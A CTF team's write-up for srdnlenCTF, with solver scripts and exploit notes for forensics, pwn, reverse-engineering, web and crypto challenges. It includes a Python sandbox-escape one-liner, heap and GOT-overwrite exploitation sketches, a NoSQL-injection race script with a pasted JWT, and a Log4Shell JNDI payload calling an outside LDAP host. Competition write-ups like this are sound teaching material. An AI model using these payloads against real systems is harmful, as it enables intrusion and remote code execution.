# fibonhack writeup srdnlenCTF
## misc - DFIR2
```python=
"""
By analyzing the file capture_net.pcapng we can see different HTTP requests
made probably using BITS in powershell.
Using the 'export object' function in wireshark is pretty easy to list the downloaded files and the corresponding packets
"""
from pwn import *
def main():
# Server connection details
host = "dfir2.challs.srdnlen.it"
port = 1985
# Answers to send
answers = [
"2137", # Packet containing the header of the executable file
"TCP 40", # Flow to which it corresponds
"29", # Number of parts into which the executable is fragmented
# What is the resource name accessed in the GET resource containing the executable file?. Give the complete name (e.g. /myfile/file1/this-is-the-file?A0=something&A1=other%3d%3d)
"/filestreamingservice/files/7d9cd93c-1d5e-449b-9ad7-f1e8d6b90509?P1=1736543287&P2=404&P3=2&P4=A4bbVZMC2rLzoHuEoqkGyn%2bfjFNZYtKNVXsPbIbY5Amz3v4r%2bQitB5Uc%2fXCKOEvShr8HAJPOsSVdpx2t0DGgKQ%3d%3d", # Resource name accessed in the GET request
# The file pieceshash contains different hashes encoded in b64
"b56b0ee4af8f4395455ed4f83b2d25498444c939fcf77d49ec9ec83c68983e52", # SHA256 of the first part
"2", # Extracted file enumeration
"26f6728a7327ecb881a8d7989b2ec93debbc2a7e1c844ce4b2a6549f00763e0e", # SHA256 of the reconstructed file
"5", # How many downloaded chrome extensions are not corrupted?
"290", # Which packet is related to cryptomining? Sigma crypto
"HTTP 8", # Flow to which it corresponds
# What is the resource name? Give the complete name (e.g. /myfile/file1/this-is-the-file?A0=something&A1=other%3d%3d)
"/filestreamingservice/files/dfeb2940-49d3-4f29-8fd8-d984a787dc6e?P1=1736222766&P2=404&P3=2&P4=H1jtSvldNZpuTpd5fP9uKkWsRR%2f5pXzccLVud6a0mJoxofqoKB34dNqF4qXGEwhkbPhjKQoon413psf1XzNktA%3d%3d",
"364dfe0f3c1ad2df13e7629e2a7188fae3881ddb83a46c1170112d8d3b5a73de" #Give the sha256 of the file related to cryptocurrency
]
# Connect to the server
try:
with remote(host, port) as conn:
for answer in answers:
# Receive the prompt from the server
prompt = conn.recvline().decode().strip()
print(f"Server: {prompt}")
# Send the answer
conn.sendline(answer)
print(f"Sent: {answer}")
# Receive final message
final_message = conn.recvall(timeout=5).decode()
print(f"Final Output: {final_message}")
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
main()
#srdnlen{DFIR2:network_analysis_R34L_malware}
```
## misc - SSPJ
This gives access to a shell from which the flag is readable.
```python!
FROM OS IMPORT SYSTEM AS __GETATTR__; FROM __MAIN__ IMPORT SH
```
## pwn - Kinderheim 511
There's a UAF (& DF) if you create a gap in the memories (example: memories = {'A', 'B', 'C'} and free(memories[1])), which can be used to get a heap leak and obtain arbitrary alloc via double free in fastbins, use that to overwrite the memories array and obtain arbitrary read, and read the flag
## pwn - Snowstorm
The size is parsed using strtol with base 0, sending 0x40 is accepted and becomes 64, causing a 16-byte overflow which can be used to return to an arbitrary address with a controlled rbp, this can be used for arbitrary read by returning to the read call in pwnme, i used this to overwrite close's got entry to pwnme and partially overwrite strtol's to system (2 byte overwrite, 1/16), and on the next run i send sh as a size and pop a shell
## rev - Anodic Music
flag: `srdnlen{Mr_Evrart_is_helping_me_find_my_flag_af04993a13b8eecd}`
```python=
import hashlib
import string
FIZERI_PROIBIDU = "hardcore.bnk"
LONGHESA_REQUIDIDA = 62
ALFABÈTU = string.printable
def lèghere_md5_proibidos(fizeri=FIZERI_PROIBIDU):
proibidos = set()
with open(fizeri, "rb") as f:
datos = f.read()
for i in range(0, len(datos), 16):
md5_proibidu = datos[i : i + 16]
proibidos.add(md5_proibidu)
print(f"[+] Carrigados {len(proibidos)} hashes MD5 proibidos.")
return proibidos
def torra_a_truare(proibidos, alfabètu=ALFABÈTU, longhesa_req=LONGHESA_REQUIDIDA):
caminu = [] # Cunservamos su prefixu corrente
md5_iniziale = hashlib.md5() # MD5 a cumintzare de unu prefixu buidu
def dfs(md5_corrente, fundesa):
if fundesa == longhesa_req:
# Solutzione cunfundida
return "".join(caminu)
for carattere in alfabètu:
# Copiamos s'estadu corrente de su MD5
novu_md5 = md5_corrente.copy()
novu_md5.update(carattere.encode("ascii"))
# Controllamos si su digestu de su prefixu est proibidu
if novu_md5.digest() in proibidos:
continue # su prefixu est blocadu, saltamos
# Accettamos su carattere e andamus prus a fundu
caminu.append(carattere)
resultadu = dfs(novu_md5, fundesa + 1)
if resultadu is not None:
return resultadu
# Torremus a su passu de prima
caminu.pop()
return None # no b'at carattere chi podet bogare a una solutzione
return dfs(md5_iniziale, 0)
def main():
# 1. Carrigamus su settàt de hashes MD5 proibidos
md5_proibidos = lèghere_md5_proibidos(FIZERI_PROIBIDU)
# 2. Chirchamus una cadena de 62 caratteres chi est vàlida
print("[+] Cumintzamus sa chirca DFS (pode essere lenta).")
solutzione = torra_a_truare(md5_proibidos, ALFABÈTU, LONGHESA_REQUIDIDA)
if solutzione is None:
print("[!] No b'at solutzione cun su metòdu e/o alfabetu corrente.")
else:
print("[+] Solutzione de 62 caratteres trovata:")
print(solutzione)
print("EYA")
if __name__ == "__main__":
main()
```
## rev - UnityOs
Decompile with asset ripper, find the password which is stored in a non obfuscated field.
```
public MustBeSafeToSaveHere(int v)
{
_value = "4dM1n!?!";
}
```
Open the terminal and get root with the password. Open the ??? game which has the flag inside.
## rev - It's not what it seems
step 1 patch the code like it is done in the entrypoint
```python!
xorkey = [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8f, 0xc8, 0x49, 0x90, 0xfb, 0xff, 0xff, 0x62, 0x62, 0x74, 0xf0, 0x6f, 0x78, 0x48, 0xd5, 0x60, 0xc8, 0x7a, 0x3d, 0x60, 0x90, 0xe5, 0xb8, 0x47, 0x0e, 0x72, 0xc3, 0x2f, 0x00, 0x90, 0x00, 0x76, 0x07, 0xf2, 0xe7, 0xc7, 0x90, 0x90, 0x82, 0x3c, 0x90, 0x75, 0xdc, 0x76, 0xdf ]
with open('chall', 'rb') as f:
data = list(f.read())
out = ''
off = 0x10e0
assert data[off:off+10] == [ 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0x80, 0x08, 0x00, 0x00 ][:10]
for i in range(len(xorkey)):
#out += chr(data[i] ^ xorkey[i % len(xorkey)])
data[off+i] = data[off+i] ^ xorkey[i]
with open('chall2', 'wb') as f:
f.write(bytes(data))
```
step 2 get the flag
```python!
local_478 = [0] * 0x26
local_478[0] = b'3'
local_478[1] = b'2'
local_478[2] = b'$'
local_478[3] = b'.'
local_478[4] = b','
local_478[5] = b'%'
local_478[6] = b'.'
local_478[7] = b';'
local_478[8] = b'.'
local_478[9] = b's'
local_478[10] = b'6'
local_478[0xb] = b's'
local_478[0xc] = b'2'
local_478[0xd] = b'\x1f'
local_478[0xe] = b'4'
local_478[0xf] = b'2'
local_478[0x10] = b'5'
local_478[0x11] = b'u'
local_478[0x12] = b'4'
local_478[0x13] = b'\x1f'
local_478[0x14] = b'\x14'
local_478[0x15] = b'('
local_478[0x16] = b's'
local_478[0x17] = b'\x1f'
local_478[0x18] = b'-'
local_478[0x19] = b't'
local_478[0x1a] = b'q'
local_478[0x1b] = b'.'
local_478[0x1c] = b'\x1f'
local_478[0x1d] = b'&'
local_478[0x1e] = b'5'
local_478[0x1f] = b'.'
local_478[0x20] = b'#'
local_478[0x21] = b'4'
local_478[0x22] = b'q'
local_478[0x23] = b'p'
local_478[0x24] = b'.'
local_478[0x25] = b'='
'''
while( true ) {
bVar1 = *pcVar4;
uVar2 = CONCAT71((int7)((ulong)uVar2 >> 8),bVar1);
if ((byte)(*__s ^ bVar1) != 0x40) break;
pcVar4 = pcVar4 + 1;
__s = __s + 1;
if (bVar1 == '=') {
return uVar2;
}
'''
def xor(a, b):
return chr(ord(a) ^ b)
for i in range(0x26):
print(xor(local_478[i], 0x40), end='')
```
## web - Focus Speed I am speed
```python!
import requests
from multiprocessing.dummy import Pool as ThreadPool
import requests
def runner(d):
burp0_url = "http://speed.challs.srdnlen.it:8082/redeem?discountCode[$ne]=asdasd"
burp0_cookies = {"jwt": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NzhjNjFiOWQ4YjZmYzFkNTNjYTdjNzAiLCJpYXQiOjE3MzcyNTMzMDUsImV4cCI6MTczNzI4OTMwNX0.RSlod8jO-zNMFN3aNUnyZ_9NSKmk0UuWq2X8yrDY4M8"}
burp0_headers = {"Accept-Language": "en-US,en;q=0.9", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36", "Accept": "*/*", "Referer": "http://speed.challs.srdnlen.it:8082/redeemVoucher", "Accept-Encoding": "gzip, deflate, br", "If-None-Match": "W/\"e39-zSnRdKpPqlATuASIM/UiAzF/Fu8\"", "Connection": "keep-alive"}
r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
print(r.text)
pool = ThreadPool(40)
result = pool.map_async( runner, range(40) ).get(0xffff)
```
## web - Sparkling Sky
```python!
const io = require('socket.io-client');
const socket = io('http://sparklingsky.challs.srdnlen.it:8081/', {
extraHeaders: {
Cookie: "session=.eJwljjkOwzAMwP7iuYNsRVc-E8i2hHZNmqno35ugI0EQ4KdsucfxLOt7P-NRttcsawkEkZ7A2pmIBsLoYNM5h7kIJ9s0r-QhJHijZgph-BgDkdXnUqGn2GyJQqQO2XGxkVG5KXO0CiB1pl42F-LWSCfYXZCVa-Q8Yv_f1Fq-P-k5Lrk.Z4xY4Q.Pka7Po21agbHlukhZJ42pzSPg18"
},
withCredentials: true
});
socket.on('update_bird_positions', (birds) => {
console.log('Birds:', JSON.stringify(birds));
});
socket.emit("move_bird", {
"user_id": 1,
"x": 1,
"y": 1,
});
console.log("Sent first move")
setTimeout(() => {
socket.emit("move_bird", {
"user_id": 1,
"x": 1000000,
"y": 1000000,
"angle": "${jndi:ldap://honey.codacloud.net:1389/b64cb61f-c954-4e1e-8336-9fd3398ddab4}"
});
console.log("Sent second move")
}, 100);
```
## web - Ben 10
The app allows the users to register with a username and a password.
When a user registers admin_username and admin_password are generated by this two lines
```py
admin_username = f"admin^{username}^{secrets.token_hex(5)}"
admin_password = secrets.token_hex(8)
```
You can leak the admin_username visiting the page `/home` once logged in. \
The template home.html contains the following line:
```html
<div style="display:none;" id="admin_data">{{ admin_username }}</div>
```
In order to get the admin password you have to submit a password reset request at `/reset_password` with the username you previusly registered. \
Once you get the reset token you can actually reset the password at `/forgot_password?token=<token>` \
Inserting your admin username will reset the admin password with the one you sent with the form. \
Then, opening the last image in the home page will reveal the flag.\
`srdnlen{b3n_l0v3s_br0k3n_4cc355_c0ntr0l_vulns}`
## crypto - Chess
The chall uses Xorshift128, a well known PRNG. The state transition function is linear in $GF(2)^n$ so we cna recover it by simply solving a linear system of equations over $GF(2)$.
We can query the PRNG to give us some random played moves, and this gives us some bits of the output.
For each query, the approach is to simulate the queries made to the PRNG, compute symbolically the output bit, and add one row to the equations matrix.
After a bit more than 128 equations (150 here to be safe) `solve_right` does the job and recovers the internal PRNG state. Finally, we advance the state to be aligned with the server state, and we can answer correctly all the trivia questions.
```python
from src.pseudorandom import XorShift128
from sage.all import Matrix, vector, GF
from collections import defaultdict
from chess import Board, pgn
import chess
from Crypto.Util.number import bytes_to_long
from boporints import get_boporints
from pwn import remote
def string_to_bits(s):
binary_string = bin(bytes_to_long(s.encode()))[2:]
padding_length = (8 - len(binary_string) % 8) % 8
padded_binary_string = binary_string.zfill(len(binary_string) + padding_length)
return padded_binary_string
dic_tile_to_bits = {
f"{chr(col + ord('a'))}{8 - row}": f"{row % 2}{col % 2}"
for row in range(8)
for col in range(8)
}
dic_bits_to_tile = defaultdict(list)
for k, v in dic_tile_to_bits.items():
dic_bits_to_tile[v].append(k)
dic_bits_to_tile = dict(dic_bits_to_tile)
def simulate_prgs(string_to_encode, moves_played):
chess_board = Board()
output_pgns = []
result = []
num_rands = 0
bits_to_encode = string_to_bits(string_to_encode)
for i in range(len(bits_to_encode) // 2):
current_2bits = bits_to_encode[i * 2:i * 2 + 2]
legal_moves = list(str(k) for k in chess_board.generate_legal_moves())
possible_moves = dic_bits_to_tile[current_2bits]
legal_possible_moves = [ legal_move for legal_move in legal_moves if legal_move[2:4] in possible_moves ]
if not legal_possible_moves:
assert False, "avoid this"
else:
chosen_move = moves_played.pop(0)
num_rands += 1
chosen_uci = str(chess_board.parse_san(chosen_move))
print(chosen_uci, legal_possible_moves)
assert chosen_uci in legal_possible_moves, "something went wrong"
index = legal_possible_moves.index(chosen_uci)
result.append((index, len(legal_possible_moves)))
chess_board.push(chess.Move.from_uci(chosen_uci))
if chess_board.is_insufficient_material() or chess_board.can_claim_draw():
pgn_board = pgn.Game()
pgn_board.add_line(chess_board.move_stack)
output_pgns.append(str(pgn_board))
chess_board = Board()
pgn_board = pgn.Game()
pgn_board.add_line(chess_board.move_stack)
output_pgns.append(str(pgn_board))
return result, num_rands
SIZE = 64
io = remote('chess.challs.srdnlen.it', 4012)
def get_pgn():
global io
io.recvuntil(b'Enter your choice (1/2/3/4): ')
io.sendline(b'1')
io.sendline(b'')
io.recvuntil('encoded pgns:\n')
pgn = io.recvuntil(b'Invalid choice').decode().strip()
return pgn
[state0, state1], gens = get_boporints(2, SIZE, 'state')
print(state0, state1)
def xorshift128(state0, state1):
s1 = state0
s0 = state1
state0 = s0
s1 ^= s1 << 23
s1 &= 0xFFFFFFFFFFFFFFFF
s1 ^= s1 >> 17
s1 ^= s0
s1 ^= s0 >> 26
state1 = s1
return state0 & 0xFFFFFFFFFFFFFFFF, state1 & 0xFFFFFFFFFFFFFFFF
M = []
b = []
num_moves = 0
row_count = 0
done = False
for it_num in range(100):
if done:
break
s = get_pgn()
print(s)
moves_played = list(filter(lambda x: x[-1] != '.', s.split('1. ')[1].split(' ')))
choices, num_rands = simulate_prgs("", moves_played)
num_moves += num_rands
print(choices)
for val, m in choices:
state0, state1 = xorshift128(state0, state1)
print(val, m)
if m != 4:
continue
lsb = (state0 & 1) ^ (state1 & 1)
row = [1 if g in lsb.vars[0] else 0 for g in gens]
row_count += 1
M.append(row)
b.append(val%2)
print(row, val%2)
if row_count > 150:
done = True
break
M = Matrix(GF(2), M)
b = vector(GF(2), b)
x = M.solve_right(b)
print(x)
# extract the two states from x
state0 = 0
state1 = 0
for i in range(64):
state0 += int(x[i]) * 2**i
state1 += int(x[i + 64]) * 2**i
print('recovered state0', state0)
print('recovered state1', state1)
prng = XorShift128(state0, state1)
for _ in range(num_moves):
prng.next()
from src.trivia import players
io.sendline(b'3')
for _ in range(50):
io.recvuntil(b'thinking of?')
choice = prng.choice(players)
io.sendline(choice)
io.interactive()
```
## crypto - Based sbox
The chall uses a Feistel cipher with custom sbox, the sbox is something like the inverse `GF(2^64) xor something`
```python
x = var("x")
K = GF(2**64, name="x", modulus=x**64+x**4+x**3+x+1)
x = K.gen()
R = PolynomialRing(K, names=list('x'+str(i+1) for i in range(rounds)))
xx = K.from_integer(0x01d_5b) + K.from_integer(0x_15_ba5ed)
def sbox(v):
v = K.from_integer(v)
return ((v)**-1 + xx).to_integer()
```
We can construct a non-linear system of 40+ equations (1 for every block) and solve it with some tricks.
To solve a non-linear system we can construct the groebner_basis of the ideal however the method is slow and we only have 2 minutes.
We can construct the equations bottom-up or top-down but this with 7 layer explode in a large expression.
To minitigate that we can do a meet in the middle by constructing the first 3 layers top-down and then construct the last 4 layers bottom-up or something like that.
```python
for j, ((left0, right0), (left, right)) in enumerate(zip(pt, ct)):
l0 = K.from_integer(left0)
r0 = K.from_integer(right0)
lf = K.from_integer(left)
rf = K.from_integer(right)
l = l0
r = r0
for i in range(rounds-4):
print(i)
# basic round top-down
l, r = r, (r + ks[i])**-1 + l + xx
i += 4
print(i)
l, r = ((lf + ks[i])**-1 + rf + xx + ks[i-1])**-1 + (r + ks[i-3])**-1 + l, \
\
(lf + ks[i])**-1 + (((lf + ks[i])**-1 + rf +
xx + ks[i-1])**-1 + lf + xx + ks[i-2])**-1 + r
lf = lf * l.denominator()
l = l * l.denominator()
rf = rf * r.denominator()
r = r * r.denominator()
print()
eqs.append(l+lf)
eqs.append(r+rf)
time1 = time.time()
print("preparing", time1-time0)
I = R.ideal(eqs)
I = Ideal(I.groebner_basis('libsingular:slimgb'))
sol = I.variety()
solutions = []
for i in range(len(sol)):
for j in range(rounds):
v = sol[i][ks[j]].to_integer()
solutions.append(int.to_bytes(v, 8, "big"))
key = xor(*solutions)
```
## crypto - Confusion
The oracle return something like this:
```
immediate1 = enc(pt1)
b = [random, immediate1 ^ random, immediate2 ^ pt1, ...]
c = [random, dec(immediate1 ^ random), dec(immediate2 ^ pt1), ...]
ct[i] = b[i+1] ^ c[i]
ct[0] = immediate1 = enc(pt1)
ct[1] = immediate2 ^ pt1 ^ dec(immediate1 ^ random)
ct[2] = immediate3 ^ pt2 ^ dec(immediate2 ^ pt1)
ct[3] = immediate4 ^ pt3 ^ dec(immediate3 ^ pt2)
```
We can see that ct[2] is depends only on the key and the plaintext (not on the random IV)
Knowing that we can easily extract the flag.
```python
from pwn import remote, process
io = remote("confusion.challs.srdnlen.it", "1338")
io.recvuntil(b"flag = ")
flag_ct = bytes.fromhex(io.recvline().strip().decode())
def oracle(io, payload):
io.sendlineafter(b"> (hex) ", payload.hex().encode())
io.recvuntil(b"Here is your encryption:\n|\n| ")
return bytes.fromhex(io.recvline().strip().decode())
def blocks(ct):
return [ct[i:i+16] for i in range(0, len(ct), 16)]
flag = b""
for i in range(32):
padding = b"A"*(16*3+15 - len(flag))
ct = oracle(io, padding)
ct_blocks = blocks(ct)
for c in range(256):
padding = b"A"*(16*3+15 - len(flag))
payload = padding + flag + bytes([c])
ct2 = oracle(io, payload)
ct2_blocks = blocks(ct2)
if ct_blocks[4] == ct2_blocks[4]:
flag += bytes([c])
print(flag)
break
```